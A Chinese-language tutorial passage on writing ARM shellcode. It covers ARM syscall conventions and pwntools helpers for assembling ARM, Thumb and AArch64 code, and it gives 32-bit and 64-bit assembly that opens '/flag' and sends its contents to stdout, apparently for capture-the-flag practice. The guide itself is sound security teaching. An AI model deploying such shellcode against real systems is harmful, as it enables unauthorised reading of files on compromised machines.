跨架构shellcode开发指南(三)

与之前的架构类似,shellcode中函数都是通过系统调用实现的。

ARM系统调用方式

在ARM中,系统调用有一些不同:

        1.将参数放入寄存器R0,R1

                mov r0,arg1

                mov r1,arg2

         2.将系统调用号放入R7

                mov  r7, #<系统调用号>

        3.调动系统函数:

                SVC #0 或者

                SVC #1

        4.将返回值放入R0

为了熟练编写arm架构的shellcode需要熟悉arm架构指令集及系统调用号。

pwntools内置攻击编写Arm架构下shellcode

定义了三个不同架构的compile函数,可将汇编代码编译为机器码

def compile_arm(sc):
    r = asm(sc,arch='arm')
    print(r)
    return r

def compile_thumb(sc):
    r = asm(sc,arch='thumb')
    print(r)
    return r

def compile_arm64(sc):
    r = asm(sc,arch='aarch64')
    print(r)
    return r

32位arm汇编代码如下:

'''
    adr  r0, flag
    eor  r1, r1
    eor  r2, r2
    mov  r7, #5
    svc  0
    mov  r1, r0
    mov  r0, #1
    eor  r2, r2
    mov  r3, #100
    mov  r7, #0xbb
    svc  0
flag:
	.ascii "/flag"              
'''

64位arm汇编代码如下: 

'''
    adr  x1, flag
    mov  x2, #0
    mov  x0, x2
    mov  x8, #56
    svc 0
    /* call sendfile(1, 'x0', 0, 0x7fffffff) */
    mov  x1, x0
    mov  x0, #1
    mov  x2, #0
    mov  x3, 100
    mov  x8, #SYS_sendfile
    svc 0
flag:
	.asciz "/flag" 
'''

调试shellcode的方法

可以参考跨架构shellcode开发指南(二)中mips架构的调试技巧。

pwntools对arm的支持比较好,没有异常情况。

参考文章地址:Writing ARM Shellcode | Azeria Labs

ARM(手机、嵌入式)架构上ShellCode编写入门教程_arm汇编orwshellcode-CSDN博客

你可能感兴趣的:(arm开发,网络安全,系统安全,安全)